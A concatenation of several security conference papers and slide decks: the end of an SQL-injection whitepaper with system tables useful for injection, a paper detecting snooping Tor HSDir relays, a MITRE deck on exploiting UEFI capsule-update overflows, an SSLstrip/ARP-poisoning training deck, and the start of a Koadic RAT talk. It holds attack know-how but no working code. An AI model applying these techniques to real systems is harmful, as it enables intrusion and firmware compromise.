to their html substitutes.
4.2. Secure SQL web application coding
There are also a few SQL injection specific rules. First, prepend and append a quote to
all user input. Even if the data is numeric. Next, limit the rights of the database user that the
web application uses. Don't give that user access to all of the system stored procedures if that
user only needs access to a handful of user-defined ones.
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 30
5.
Database server system tables
This section includes the names of system tables that are useful in SQL injection. You
can get listings of the columns in each of these tables by searching for them on Google.
5.1. MS SQL Server
sysobjects
syscolumns
5.2. MS Access Server
MSysACEs
MSysObjects
MSysQueries
MSysRelationships
5.3. Oracle
SYS.USER_OBJECTS
SYS.TAB
SYS.USER_TABLES
SYS.USER_VIEWS
SYS.ALL_TABLES
SYS.USER_TAB_COLUMNS
SYS.USER_CONSTRAINTS
SYS.USER_TRIGGERS
SYS.USER_CATALOG
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 31
6.
The Business Case for Application Security
Whether a security breach is made public or confined internally, the fact that a hacker has laid
eyes on your sensitive data is of concern to your company, your shareholders, and most
importantly, your customers.
SPI Dynamics has found that the majority of companies that take a proactive approach to
application security, and that continuously engage in the application security process, are better
protected. In the long run, these companies enjoy a higher ROI on their e-business ventures.
About SPI Dynamics, Inc.
Founded in 2000 by a team of accomplished Web security specialists, SPI Dynamics mission is
to develop security products and services that systematically detect, prevent, and communicate
Web application vulnerabilities and intrusions for any online business, and provide intelligent
methodological approaches for resolution of discovered vulnerabilities. Based in Atlanta,
Georgia, SPI Dynamics is a privately held company. SPI Dynamics products are used in a wide
variety of industries, including financial management, manufacturing, healthcare,
telecommunications, and government.
For further information please contact:
SPI Dynamics, Inc.
115 Perimeter Center Place
Suite 270
Atlanta, GA 30346
Toll-free: 1-866-SPI-2700
Direct: 678-781-4800
Fax: 678-781-4850
[email protected] | pdf |
Honey Onions: Exposing Snooping
Tor HSDir Relays
Guevara Noubir, Amirali Sanatinia
College of Computer and Information Science
Northeastern University, Boston, USA
{noubir,amirali}@ccs.neu.edu
Abstract—Tor is a widely used anonymity network that
protects users’ privacy and identity from corporations, agencies
and governments. However, Tor remains a practical system with
a variety of limitations which can be subverted [1]. In particular,
Tor’s security relies on the fact that a substantial number of its
nodes do not misbehave.
Previous work showed the existence of malicious participating
Tor relays. For example, there are some Exit nodes that actively
interfere with users’ traffic and carry out man-in-the-middle
attacks. In this work we expose another category of misbehaving
Tor relays (HSDirs), that are integral to the functioning of the
hidden services and the dark web. The HSDirs act as the DNS
directory for the dark web. Because of their nature, detecting
their malicious intent and behavior is much harder. We introduce,
the concept of honey onions (honions), a framework to detect
misbehaving Tor relays with HSDir capability. By setting up and
deploying a large scale honion over Tor for more than 72 days, we
are able to obtain lower bounds on misbehavior among HSDirs.
We propose algorithms to both estimate the number of
snooping HSDirs and identify them, using optimization and
feasibility techniques. Our experimental results indicate that
during the period of our work at least 110 such nodes were
snooping information about hidden services they host. We reveal
that more than half of them were hosted on cloud infrastructure
and delayed the use of the learned information to prevent easy
traceback. Furthermore, we provide the most likely geolocation
map of the identified snooping Tor HSDirs.
I.
HONION GENERATION & DETECTION
In this work, we introduce the concept of honey onions
(honions), a framework to expose when a Tor relay with
HSDir capability has been modified to snoop into the hidden
services that it currently hosts. We developed several tools,
to automate the process of generating and deploying honions
in a way that they cover a significant fraction of HSDirs. A
key constraint in this process was to minimize the number of
deployed honions. This derives primarily from our desire to
not impact the Tor statistics about hidden services; specially
given the recent surge anomaly (Figure 1). By considering
the number of HSDirs (approximately 3000), we could infer
that to cover all HSDirs with 0.95 probability, we need to
generate around 1500 honions. We decided on three schedules
to allow us to detect different snooping behaviors. Namely,
daily, weekly and monthly. The daily schedule allows us to
detect malicious HSDirs who visit honions shortly after hosting
them. The weekly and monthly schedules enables us to detect
more sophisticated snoopers who delay their visits to avoid
identification.
Fig. 1: Recent unexplained surge in the number of Hidden
Services.
HOnion back end servers: Each honion corresponds to a
process that is running locally. The server behind hidden
services, should not be running on a public IP address, to avoid
de-anonymization. We also log all the requests that are made to
the server programs and the time of each visit. Recording the
content of the requests allows us to investigate the snoopers’
behavior and intent.
HOnions generation and deployment schedule: To keep the
total number of honions small, we decided on three schedules
for their generation and placement, daily, weekly, and monthly.
The three schedules allow us to detect the malicious HSDirs
who visit the honions shortly (less than 24 hours) after
hosting them. Since the HSDirs for hidden services change
periodically, more sophisticated snoopers may wait for a longer
duration of time, so they can evade detection and frame other
HSDirs.
Identifying snooping HSDirs: Based on the visited hidden
service, the time of the visit, and the HSDir that have been
hosting the specific onion address prior to the visit, we can
mark the potential malicious and misbehaving HSDirs. Then,
we add the candidates to a bipartite graph, which consists of
edges between HSDirs and the visited honions. The analysis
of this graph allows us to infer a lower bound on the number
of malicious HSDirs as well as specific snoopers. Figure 2
depicts the architecture of the system.
HOnion Visit Graph Formation: In the following we first
introduce a formal model and notation for the Honey Onions
1. Generate honions
ho i
ho
j
2. Place honions on HSDirs
3. Build bipartite graph
On visit, mark potential HSDirs
ho
j
di
di+2
di+1
di
di+1
di+2
On visit, add to bipartite graph
Fig. 2: Flow diagram of the honion system.
system. First, HO denotes the set of honey onions generated
by the system that were visited, and HSD the set of Tor
relays with the HSDir flag (so far referred to as HSDir relays).
The visits of honions allow us to build a graph G = (V, E)
whose vertices are the union of HO and HSD and edges
connect a honion hoj and HSDir di iff hoj was placed on
di and subsequently experienced a visit. G is by construction
a bipartite graph. We also note that each honion periodically
changes descriptors and therefore HSDirs (approximately once
a day). However, a HSDir currently a honion ho cannot explain
visits during past days. Therefore, each time a honion changes
HSDirs we clone its vertex ho to ho0 and only add edges
between ho0 and the HSDirs who know about its existence
when the visit happened.
Estimation & Set Cover: Since each honion is simultaneously
placed on multiple HSDirs, the problem of identifying which
ones are malicious is not trivial. We first formulate the problem
of deriving a lower-bound on their number by finding the
smallest subset S of HSD that can explain all the visits. The
size s of the minimal set tells us that there cannot be less than
s malicious HSDirs who would explain the visits.
HSD
=
{di : Tor relays with HSDir flag}
HO
=
{hoj : Honey Onion that was visited}
V
=
HSD [ HO
E
=
{(hoj, di) 2 HO ⇥ HSD|hoj was placed on di
and subsequently visited}
argmin
S✓HSD
|S : 8(hoj, di) 2 E9d0
i 2 S ^ (hoj, d0
i) 2 E|
(1)
Finding the smallest set S as defined by Equation 1, is not
trivial as one can easily see that it is equivalent to the hitting set
problem, which is well known to be NP-Complete. However,
it can also be formulated as an Integer Linear Program. Let
x1j|HSD| be binary variables taking values 0 or 1. Solving
Equation 1, consists of finding integer assignments to the xj
such that:
(a) Daily Visits
(b) All Visits
Fig. 3: Plot of the visits to the honions.
min(x1,...,xHSD)
P|HSD|
j=1
xj
subject to 8hoi 2 HO
P
8j:(hoi,dj)2E xj ≥ 1
II.
RESULTS & DISCUSSION
We started the daily honions on Feb 12, 2016; the weekly
and monthly experiments on February 21, 2016, which lasted
until April 24, 2016. During this period there were three spikes
in the number of hidden services, with one spike more than
tripling the average number of hidden services (Figure 1).
There are some theories suggesting that this was due to
botnets, ransomware, or the success of the anonymous chat
service, called Ricochet. However, none of these explanations
can definitely justify the current number of hidden services.
Our daily honions spotted snooping behavior before the spike
in the hidden services, this gives us a level of confidence
that the snoopings are not only a result of the anomaly
(Figure 3). Rather, there are entities that actively investigate
hidden services.
Snooping HSDirs Nature and Location: In total we detected
at least 110 malicious HSDir using the ILP algorithm, and
more than 40000 visits. More than 70% of these HSDirs are
hosted on Cloud infrastructure. Around 25% are exit nodes as
compared to the average, 15% of all relays in 2016, that have
both the HSDir and the Exit flags. This can be interesting
for further investigation, since it is known that some Exit
nodes are malicious and actively interfere with users’ traffic
and perform active MITM attacks [2]. Furthermore, 20% of
the misbehaving HSDirs are, both exit nodes and are hosted
Fig. 4: The global map of detected misbehaving HSDirs and their most likely geographic origin.
on Cloud systems, with data centers in Europe and Northern
America. The top 5 countries are, USA, Germany, France, UK,
and Netherlands. Figure 4 depicts the spread and the most
likely geolocation of the malicious HSDirs.
HSDirs Behavior and Intensity of the Visits: Most of the
visits were just querying the root path of the server and were
automated. However, we identified less than 20 possible man-
ual probing, because of a query for favicon.ico, the little icon
that is shown in the browser, which the Tor browser requests.
Some snoopers kept probing for more information even when
we returned an empty page. For example, we had queries
for description.json, which is a proposal to all HTTP
servers inside Tor network to allow hidden services search
engines such as Ahmia, to index websites. One of the snooping
HSDirs (5.*.*.*:9011) was actively querying the server every
1 hour asking for a server-status page of Apache. It is part
of the functionality provided by mod status in Apache, which
provides information on server activity and performance. Ad-
ditionally, we detected other attack vectors, such as SQL in-
jection, targeting the information_schema.tables,
username enumeration in Drupal, cross-site scripting (XSS),
path traversal (looking for boot.ini and /etc/passwd),
targeting Ruby on Rails framework (rails/info/properties), and
PHP Easter Eggs (?=PHP*-*-*-*-*).
III.
CONCLUSION & FUTURE WORK
In this work, we introduced honey onions (HOnions), a
framework for methodically estimating and identifying Tor
HSDir nodes that are snooping on hidden services they are
hosting. We propose algorithms to both estimate the number of
snooping HSDirs and identify them. Our experimental results
indicate that during the period of the study (72 days) at least
110 such nodes were snooping information about hidden ser-
vices they host. Furthermore, we observer that not all snooping
HSDirs operate with the same level of sophistication and
intensity. For example the less sophisticated snoopers visit the
honions shortly after hosting them (less than 24 hours), while
the more sophisticated snooping HSDirs delay their visits to
avoid detection and frame their neighboring relays. We believe
that behavior of the snoopers can be modeled and studied in
more detail using a game theoretic framework. Additionally,
we reveal that more than half of them were hosted on cloud
infrastructure making it difficult to detect malicious Tor nodes.
Specially some cloud providers such as Vultr, even accepts
payments in the form of bitcoins, which prevents the traceback
and identification of misbehaving entities. It is noteworthy that
the current proposals [3] for the next generation of hidden
services would improve their privacy and security.
REFERENCES
[1]
A. Sanatinia and G. Noubir, “Onionbots: Subverting privacy infras-
tructure for cyber attacks,” in The Annual IEEE/IFIP International
Conference on Dependable Systems and Networks (DSN), 2015.
[2]
P. Winter, R. K¨ower, M. Mulazzani, M. Huber, S. Schrittwieser, S. Lind-
skog, and E. Weippl, “Spoiled onions: Exposing malicious tor exit re-
lays,” in Privacy Enhancing Technologies: 14th International Symposium
(PETS), Proceedings, 2014.
[3]
N. Mathewson, “Next-generation hidden services in tor,” https://gitweb.
torproject.org/torspec.git/tree/proposals/224-rend-spec-ng.txt. | pdf |
© 2014 The MITRE Corporation. All rights reserved.
C orey K allenberg
Xeno K ovah
John B ut t erw orth
Sam C ornw ell
Extreme Privilege Escalation
on Windows 8/UEFI Systems
@ coreykal
@ xenokovah
@jw but terw orth3
@ssc0rnw ell
| 2 |
Introduction
Who we are:
– Trusted Computing and firmware security researchers at The
MITRE Corporation
What MITRE is:
– A not-for-profit company that runs six US Government "Federally
Funded Research & Development Centers" (FFRDCs) dedicated to
working in the public interest
– Technical lead for a number of standards and structured data
exchange formats such as CVE, CWE, OVAL, CAPEC, STIX,
TAXII, etc
– The first .org, !(.mil | .gov | .com | .edu | .net), on the ARPANET
© 2014 The MITRE Corporation. All rights reserved.
| 3 |
Attack Model (1 of 2)
An attacker has gained administrator access on a victim
Windows 8 machine
But they are still constrained by the limits of Ring 3
© 2014 The MITRE Corporation. All rights reserved.
| 4 |
Attack Model (2 of 2)
Attackers always want
– More Power
– More Persistence
– More Stealth
© 2014 The MITRE Corporation. All rights reserved.
| 5 |
Typical Post-Exploitation Privilege Escalation
Starting with x64 Windows vista, kernel drivers must be signed and contain
an Authenticode certificate
In a typical post-exploitation privilege escalation, the attacker wants to
bypass the signed driver requirement to install a kernel level rootkit
Various methods to achieve this are possible, including:
– Exploit existing kernel drivers
– Install a legitimate (signed), but vulnerable, driver and exploit it
This style of privilege escalation has been well explored by other
researchers such as [6][7].
There are other, more extreme, lands the attacker may wish to explore
© 2014 The MITRE Corporation. All rights reserved.
| 6 |
Other Escalation Options (1 of 2)
There are other more interesting post-exploitation options an
attacker may consider:
– Bootkit the system
– Install SMM rootkit
– Install BIOS rootkit
© 2014 The MITRE Corporation. All rights reserved.
| 7 |
Other Escalation Options (2 of 2)
Modern platforms contain protections against these more exotic
post-exploitation privilege-escalations
– Bootkit the system (Prevented by Secure Boot)
– Install SMM rootkit (SMM is locked on modern systems)
– Install BIOS rootkit (SPI Flash protected by lockdown mechanisms)
© 2014 The MITRE Corporation. All rights reserved.
| 8 |
Extreme Privilege Escalation (1 of 2)
This talk presents extreme privilege escalation
– Administrator userland process exploits the platform firmware
(UEFI)
– Exploit achieved by means of a new API introduced in Windows 8
© 2014 The MITRE Corporation. All rights reserved.
| 9 |
Extreme Privilege Escalation (2 of 2)
Once the attacker has arbitrary code execution in the context of the
platform firmware, he is able to:
– Control other "rings" on the platform (SMM, Ring 0)
– Persist beyond operating system re-installations
– Permanently "brick" the victim computer
© 2014 The MITRE Corporation. All rights reserved.
| 10 |
Target Of Attack
Modern Windows 8 systems ship with UEFI firmware
UEFI is designed to replace conventional BIOS and provides a
well defined interface to the operating system
© 2014 The MITRE Corporation. All rights reserved.
| 11 |
Windows 8 API
Windows 8 has introduced an API that allows a privileged
userland process to interface with a subset of the UEFI interface
© 2014 The MITRE Corporation. All rights reserved.
| 12 |
EFI Variable Creation Flow
Certain EFI variables can be created/modified/deleted by the
operating system
– For example, variables that control the boot order and platform
language
The firmware can also use EFI variables to communicate
information to the operating system
© 2014 The MITRE Corporation. All rights reserved.
| 13 |
EFI Variable Consumption
The UEFI variable interface is a conduit by which a less privileged
entity (admin Ring 3) can produce data for a more complicated
entity (the firmware) to consume
This is roughly similar to environment variable parsing attack
surface on *nix systems
© 2014 The MITRE Corporation. All rights reserved.
| 14 |
Previous EFI Variable Issues (1 of 2)
We’ve already co-discovered[13] with Intel some vulnerabilities
associated with EFI Variables that allowed bypassing secure
boot and/or bricking the platform
© 2014 The MITRE Corporation. All rights reserved.
| 15 |
Previous EFI Variable Issues (2 of 2)
However, VU #758382 was leveraging a proprietary Independent
BIOS Vendor (IBV) implementation mistake, it would be more
interesting if we could find a variable vulnerability more generic
to UEFI
© 2014 The MITRE Corporation. All rights reserved.
| 16 |
UEFI Vulnerability Proliferation
If an attacker finds a vulnerability in the UEFI "reference
implementation," its proliferation across IBVs and OEMs would
potentially be wide spread.
– More on how this theory works "in practice" later…
© 2014 The MITRE Corporation. All rights reserved.
| 17 |
Auditing UEFI
UEFI reference implementation is open source, making it easy to audit
Let the games begin:
–
Svn checkout https://svn.code.sf.net/p/edk2/code/trunk/edk2/
http://tianocore.sourceforge.net/wiki/Welcome
© 2014 The MITRE Corporation. All rights reserved.
| 18 |
Where to start looking for problems?
Always start with wherever there is attacker-controlled input
We had good success last year exploiting Dell systems by
passing an specially-crafted fake BIOS update…
So let's see if UEFI has some of the same issues
The UEFI spec has outlined a "Capsule update" mechanism
– Capsule Update is initiated and guided by EFI variable contents
that are controllable by the operating system
© 2014 The MITRE Corporation. All rights reserved.
| 19 |
Capsule Scatter Write
To begin the process of sending a Capsule update for
processing, the operating system takes a firmware capsule and
fragments it across the address space
© 2014 The MITRE Corporation. All rights reserved.
| 20 |
Capsule Processing Initiation
The operating system creates an EFI variable that describes the
location of the fragmented firmware capsule
A "warm reset" then occurs to transition control back to the
firmware
© 2014 The MITRE Corporation. All rights reserved.
| 21 |
Capsule Coalescing
The UEFI code "coalesces" the firmware capsule back into its
original form.
© 2014 The MITRE Corporation. All rights reserved.
| 22 |
Capsule Verification
UEFI parses the envelope of the firmware capsule and verifies
that it is signed by the OEM
© 2014 The MITRE Corporation. All rights reserved.
| 23 |
Capsule Consumption
Contents of the capsule are then consumed….
– Flash contents to the SPI flash
– Run malware detection independent of the operating system
– Etc…
© 2014 The MITRE Corporation. All rights reserved.
| 24 |
Opportunities For Vulnerabilities
There are 3 main opportunities for memory corruption
vulnerabilities in the firmware capsule processing code
1.
The coalescing phase
2.
Parsing of the capsule envelope
3.
Parsing of unsigned content within the capsule
Our audit of the UEFI capsule processing code yielded multiple
vulnerabilities in the coalescing and envelope parsing code
– The first "BIOS reflash" exploit was presented by Wojtczuk and
Tereshkin. They found it by reading the UEFI code which handled
BMP processing and exploiting an unsigned splash screen image
embedded in a firmware[1]
© 2014 The MITRE Corporation. All rights reserved.
| 25 |
Coalescing Bug #1
Bug 1: Integer overflow in capsule size sanity check
– Huge CapsuleSize may erroneously pass sanity check
Edk2/MdeModulePkg/Universal/CapsulePei/Common/CapsuleCoalesce.c
© 2014 The MITRE Corporation. All rights reserved.
| 26 |
Coalescing Bug #2
Bug 2: Integer overflow in fragment length summation
– CapsuleSize may be less than true summation of fragment lengths
Edk2/MdeModulePkg/Universal/CapsulePei/Common/CapsuleCoalesce.c
© 2014 The MITRE Corporation. All rights reserved.
| 27 |
Envelope Parsing Bug (Bug #3)
Bug 3: Integer overflow in multiplication before allocation
– LbaCache may be unexpectedly small if NumBlocks is huge
Edk2/MdeModulePkg/Core/Dxe/FwVolBlock/FwVolBlock.c
© 2014 The MITRE Corporation. All rights reserved.
| 28 |
Miscellaneous Coalescing Bug (Bug #4)
Bug 4: Integer overflow in IsOverlapped
– Can erroneously return False if Buff1+Size1 overflows
– This didn’t directly lead to a vulnerability but we had to abuse it to
successfully exploit the other bugs
Edk2/MdeModulePkg/Universal/CapsulePei/Common/CapsuleCoalesce.c
© 2014 The MITRE Corporation. All rights reserved.
| 29 |
Vulnerabilities Summary
We spent ~1 week looking at the UEFI reference implementation and
discovered vulnerabilities in security critical code
– The identified vulnerabilities occur before the update is cryptographically verified
The presence of easy to spot integer overflows in open source and security
critical code is… disturbing
– Is no one else looking here?
ValidateCapsuleIntegrity: Edk2/MdeModulePkg/Universal/CapsulePei/Common/CapsuleCoalesce.c
© 2014 The MITRE Corporation. All rights reserved.
| 30 |
Onward To Exploitation
The aforementioned code runs with read-write-execute permissions
– Flat protected mode with paging disabled
– No mitigations whatsoever
However, successful exploitation in this unusual environment was
non-trivial
© 2014 The MITRE Corporation. All rights reserved.
| 31 |
Coalescing Exploit Attempt
Attempt #1: Provide a huge capsule size and clobber our way
across the address space to some function pointer on the stack
area
© 2014 The MITRE Corporation. All rights reserved.
| 32 |
Coalescing Exploit Fail
Overwriting certain regions of the address space had undesirable results
We had to come up with an approach that skipped past the forbidden
region
© 2014 The MITRE Corporation. All rights reserved.
See whitepaper for full details on the exploitation technique
| 33 |
Coalescing Exploit Success
Came up with a multistage approach that involved corrupting the
descriptor array
– Achieve surgical write-what-where primitive
– Combined bugs #1, #2, #4 and abused a CopyMem optimization
See whitepaper for full details on the exploitation technique
© 2014 The MITRE Corporation. All rights reserved.
| 34 |
Envelope Parsing Exploitation
Exploitation of the "envelope parsing" bug was complicated for
several reasons
Note that in order to trigger the undersized LbaCache allocation, the
NumBlocks value must be huge
– This effectively means that the corrupting for() loops will never
terminate
Edk2/MdeModulePkg/Core/Dxe/FwVolBlock/FwVolBlock.c
© 2014 The MITRE Corporation. All rights reserved.
| 35 |
Total Address Space Annihilation
Loop will corrupt entire address space and hang the system
© 2014 The MITRE Corporation. All rights reserved.
| 36 |
Other Complications
LbaCache pointer is overwritten by the corruption, further complicating
things
Values being written during the corruption are not entirely attacker
controller
© 2014 The MITRE Corporation. All rights reserved.
| 37 |
Corruption Direction Change
Overwriting the LbaCache pointer changes the location the
corruption continues at
© 2014 The MITRE Corporation. All rights reserved.
| 38 |
Difficulties Recap
An attacker has some serious hoops to jump through to
successfully exploit the envelope parsing vulnerability
– Corrupting of base pointer for corruption (LbaCache)
– Only partially controlled values being written
– Corrupting loop will never terminate
© 2014 The MITRE Corporation. All rights reserved.
| 39 |
Self-overwriting Code
Our approach to escaping the non-terminating for loop was to massage the
corruption so the loop would self-overwrite
In this case, we overwrite the top of the basic block with non-advantageous
x86 instructions
– Overwritten values only "semi-controlled"
© 2014 The MITRE Corporation. All rights reserved.
| 40 |
Self-overwriting Success
With some brute force we discovered a way to overwrite the looping
basic block with advantageous attacker instructions
– Jump to uncorrupted shellcode
© 2014 The MITRE Corporation. All rights reserved.
| 41 |
Exploitation Mechanics Summary
Vulnerable code runs with read-write-execute permissions and
no mitigations
However, successful exploitation was still complicated
Capsule coalescing exploit allows for surgical write-what-where
primitive resulting in reliable exploitation of the UEFI firmware
– Address space is almost entirely uncorrupted so system remains
stable
Capsule envelope parsing vulnerability can be exploited but
corrupts a lot of the address space
– System probably in an unstable state
In both cases, attacker ends up with control of EIP in the early
boot environment
© 2014 The MITRE Corporation. All rights reserved.
| 42 |
Exploitation Flow (1 of 8)
Our Sith attacker is unimpressed with his ring 3 admin privileges
and seeks to grow his power through the dark side of the force
© 2014 The MITRE Corporation. All rights reserved.
| 43 |
Exploitation Flow (2 of 8)
Attacker seeds an evil capsule update into memory
Attacker then uses SetFirmwareEnvironmentVariable to prepare the firmware to
consume the evil capsule
Shellcode to be executed in the early boot environment is staged in memory
© 2014 The MITRE Corporation. All rights reserved.
| 44 |
Exploitation Flow (3 of 8)
Warm reset is performed to transfer context back to UEFI
© 2014 The MITRE Corporation. All rights reserved.
| 45 |
Exploitation Flow (4 of 8)
Capsule processing is initiated by the existence of the
"CapsuleUpdateData" UEFI variable
© 2014 The MITRE Corporation. All rights reserved.
| 46 |
Exploitation Flow (5 of 8)
UEFI begins to coalesce the evil capsule
© 2014 The MITRE Corporation. All rights reserved.
| 47 |
Exploitation Flow (6 of 8)
UEFI becomes corrupted while parsing evil capsule
© 2014 The MITRE Corporation. All rights reserved.
| 48 |
Exploitation Flow (7 of 8)
Attacker gains arbitrary code execution in the context of the early
boot environment
– Platform is unlocked at this point
© 2014 The MITRE Corporation. All rights reserved.
| 49 |
Exploitation Flow (8 of 8)
Attacker can now establish agents in SMM and/or the platform
firmware to do their bidding
© 2014 The MITRE Corporation. All rights reserved.
| 50 |
Unnatural Powers
With these new powers, our attacker can:
– Brick the platform
– Defeat Secure Boot[2]
– Establish an undetectable SMM rootkit[8][5]
– Subvert hypervisors[9]
– Subvert TXT launched hypervisors[3]
– Circumvent operating system security functions[11]
– Survive operating system reinstallation attempts
– Other?
© 2014 The MITRE Corporation. All rights reserved.
| 51 |
Demo Time
© 2014 The MITRE Corporation. All rights reserved.
| 52 |
Vendor Response
We told Intel & CERT about the bugs we found on Nov 22nd and Dec
4th 2013
– We conveyed that we would extend our typical 6 month responsible
disclosure deadline, and we would be targeting public disclosure in
the summer at BlackHat/Defcon
– We also directly contacted some of the OEMs that we already had the
capability to send encrypted email to
Intel queried UEFI partners to ask if they were using the affected
code
If the vendors said they thought they would be affected, then Intel
sent them the details
Then we didn't hear anything for a while
Eventually Intel indicated which vendors said they were vulnerable,
and which systems would be patched.
This information is conveyed in CERT VU #552286
The UEFI forum is in the process of setting up a UEFI Security
Response Team to better coordinate these sort of disclosures in
the future. Shooting to go live by Sept 1.
© 2014 The MITRE Corporation. All rights reserved.
| 53 |
What can you do about it?
Run Copernicus. It has been updated to automatically report if your
system is on the VU # 552286 affected list
– http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-
blog/copernicus-question-your-assumptions-about or just search for
"MITRE Copernicus"
We also have a binary integrity checking capability for Copernicus.
This can help you detect if your BIOS has been backdoored
– The capability is freely available, but it's not as simple and foolproof
as the public Copernicus (it will have false positives/negatives). And
we don't really have the resources to support it for everyone.
Therefore we prioritize who we work with to use it, based on the
number of systems that will be checked. So if you're serious about
checking your BIOSes, email [email protected]
We also need this data to feed further research results on the state of BIOS
security in the wild on deployed systems. Unlike the IPMI people, we can't
just portscan networks to get 100k research results :P
© 2014 The MITRE Corporation. All rights reserved.
| 54 |
What can you do about it?
If you're a security vendor, start including BIOS checks
– If you're a customer, start asking for BIOS checks
We are happy to freely give away our Copernicus code to get
vendors started with incorporating checking BIOSes. All we ask
for in return is some data to help further our research.
We want BIOS configuration & integrity checking to become
standard capabilities which are widely available from as many
vendors as possible.
– No more massive blind spot please!
© 2014 The MITRE Corporation. All rights reserved.
| 55 |
Conclusion
UEFI has more tightly coupled the bonds of the operating
system and the platform firmware
Specifically, the EFI variable interface acts as a conduit by which
a less privileged entity (the operating system) can pass
information for consumption by a more privileged entity (the
platform firmware)
– We have demonstrated how a vulnerability in this interface can
allow an attacker to gain control of the firmware
Although the authors believe UEFI to ultimately be a good thing
for the state of platform security, a more thorough audit of the
UEFI code and its new features is needed
Copernicus continues to be updated to give the latest
information about whether vulnerabilities affect your BIOS
© 2014 The MITRE Corporation. All rights reserved.
| 56 |
Questions & Contact
{ckallenberg, xkovah, jbutterworth, scornwell} @ mitre . org
Copernicus @ mitre . org
@coreykal, @xenokovah, @jwbutterworth3, @ssc0rnwell
@MITREcorp
P.s., go check out OpenSecurityTraining.info!
@OpenSecTraining
© 2014 The MITRE Corporation. All rights reserved.
| 57 |
References
[1] Attacking Intel BIOS – Alexander Tereshkin & Rafal Wojtczuk – Jul. 2009
http://invisiblethingslab.com/resources/bh09usa/Attacking%20Intel%20BIOS.pdf
[2] A Tale of One Software Bypass of Windows 8 Secure Boot – Yuriy Bulygin –
Jul. 2013 http://blackhat.com/us-13/briefings.html#Bulygin
[3] Attacking Intel Trusted Execution Technology - Rafal Wojtczuk and Joanna
Rutkowska – Feb. 2009
http://invisiblethingslab.com/resources/bh09dc/Attacking%20Intel%20TXT%20-
%20paper.pdf
[4] Defeating Signed BIOS Enforcement – Kallenberg et al., Sept. 2013 –
http://www.mitre.org/sites/default/files/publications/defeating-signed-bios-
enforcement.pdf
[5] BIOS Chronomancy: Fixing the Core Root of Trust for Measurement –
Butterworth et al., May 2013
http://www.nosuchcon.org/talks/D2_01_Butterworth_BIOS_Chronomancy.pdf
[6] IsGameOver() Anyone? – Rutkowska and Tereshkin – Aug 2007
http://invisiblethingslab.com/resources/bh07/IsGameOver.pdf
[7] Defeating Windows Driver Signature Enforcement – j00ru - Dec 2012
http://j00ru.vexillium.org/?p=1455
© 2014 The MITRE Corporation. All rights reserved.
| 58 |
References 2
[8] Copernicus 2 – SENTER The Dragon – Kovah et al. – March 2014
http://www.mitre.org/sites/default/files/publications/Copernicus2-SENTER-the-
Dragon-CSW-.pdf
[9] Preventing and Detecting Xen Hypervisor Subversions – Rutkowska and
Wojtczuk – Aug 2008 http://www.invisiblethingslab.com/resources/bh08/part2-
full.pdf
[10] A New Breed of Rootkit: The Systems Management Mode (SMM) Rootkit –
Sparks and Embleton – Aug 2008 http://www.eecs.ucf.edu/~czou/research/SMM-
Rootkits-Securecom08.pdf
[11] Using SMM for "Other Purposes" – BSDaemon et al – March 2008
http://phrack.org/issues/65/7.html
[12] Using SMM to Circumvent Operating System Security Functions – Duflot et
al. – March 2006 http://fawlty.cs.usfca.edu/~cruse/cs630f06/duflot.pdf
[13] Setup for Failure: Defeating UEFI SecureBoot – Kallenberg et al. – April 2014
http://www.syscan.org/index.php/download/get/6e597f6067493dd581eed737146f
3afb/SyScan2014_CoreyKallenberg_SetupforFailureDefeatingSecureBoot.zip
© 2014 The MITRE Corporation. All rights reserved. | pdf |
Hijacking Web 2.0
Sites with SSLstrip
Hands-on Training
Contact
Sam Bowne
Computer Networking and Information
Technology
City College San Francisco
Email: [email protected]
Web: samsclass.info
The Problem
HTTP Page with an HTTPS Logon Button
Proxy Changes HTTPS to
HTTP
Target
Using
Facebook
Attacker:
Evil Proxy
in the
Middle
To
Internet
HTTP
HTTPS
Ways to Get in the
Middle
Physical Insertion in a Wired
Network
Target
Attacker
To
Internet
Configuring Proxy Server in
the Browser
ARP Poisoning
Redirects Traffic at Layer 2
Sends a lot of false ARP packets on the
LAN
Can be easily detected
DeCaffienateID by IronGeek
http://k78.sl.pt
ARP Request and Reply
Client wants to find Gateway
ARP Request: Who has 192.168.2.1?
ARP Reply:
MAC: 00-30-bd-02-ed-7b has 192.168.2.1
Client
Gateway
Facebook.com
ARP Request
ARP Reply
ARP Poisoning
Client
Gateway
Facebook.com
Attacker
ARP Replies: I
am the
Gateway
Traffic to
Facebook
Forwarded &
Altered Traffic
Demonstration
Do it Yourself
You need a laptop with
Windows host OS
VMware Player or Workstation
Linux Virtual Machine (available on the USB
Hard Drives in the room)
Follow the Handout | pdf |
Koadic C3
COM Command & Control
DEF CON 25 - July 2017
Agenda
●
Current open-source "malware" options for red teams
●
Koadic (C3)
○
Advanced JScript/VBScript RAT
●
The hell we went through
●
Demos
whoami /all
●
@zerosum0x0
●
@Aleph___Naught
●
@JennaMagius
●
@The_Naterz
Red Team @ RiskSense, Inc
First things first...
●
"SMBLoris" attack
○
Windows 0-day denial-of-service
SMBLoris
Notes
●
Not responsible for other people's actions
●
A ton of overlapping research, incremental work
○
Consolidate research/techniques
○
"Advances state of the art"
●
Meme slides = dirty hack/workaround
●
Prototype
○
Used on real engagements
○
Submit fixes, not tixes
Intrusion Phases
●
Reconnaissance
●
Initial Exploitation
●
Establish Persistence
●
Install Tools
●
Move Laterally
●
Collect, Exfil, and Exploit
Source: Rob Joyce, NSA/TAO Director, Enigma 2016
Current State of Windows Post Exploitation
●
Yet but a few open-source "malware" options for red teams
○
Meterpreter
○
Cobalt Strike
○
PowerShell Empire
●
Roll your own…
○
A decent option- the bad guys do
Downsides of PE Malware
●
Meterpreter is amazing software!
●
Post-exploitation (and some exploits [psexec]) often involve
dropping a binary
○
Binaries are what AV love
○
Need to evade payload
■
Veil Evasion
■
Shellter
Downside of PowerShell
●
Empire is amazing software!
●
Requires PowerShell (duh)
○
Officially- Server 2008 SP2*
○
Requires modern .NET
●
Extensive logging/disabling mechanisms
* https://msdn.microsoft.com/en-us/powershell/scripting/setup/windows-powershell-system-requirements
WTS C3 - COM C&C
●
Target Win2k SP0
○
Possibly earlier
●
JScript/VBScript
○
Baked directly into the core of Windows
■
Not an addon-- harder to limit
○
Powerful COM exposed by the OS
○
Creative use of default .exe's
●
Ways to execute completely in memory
○
The main benefit of PowerShell
COM Background
●
Component Object Model
○
Language neutral
○
Object oriented
○
Binary interface
○
Distributed
●
Arguable precursor to .NET
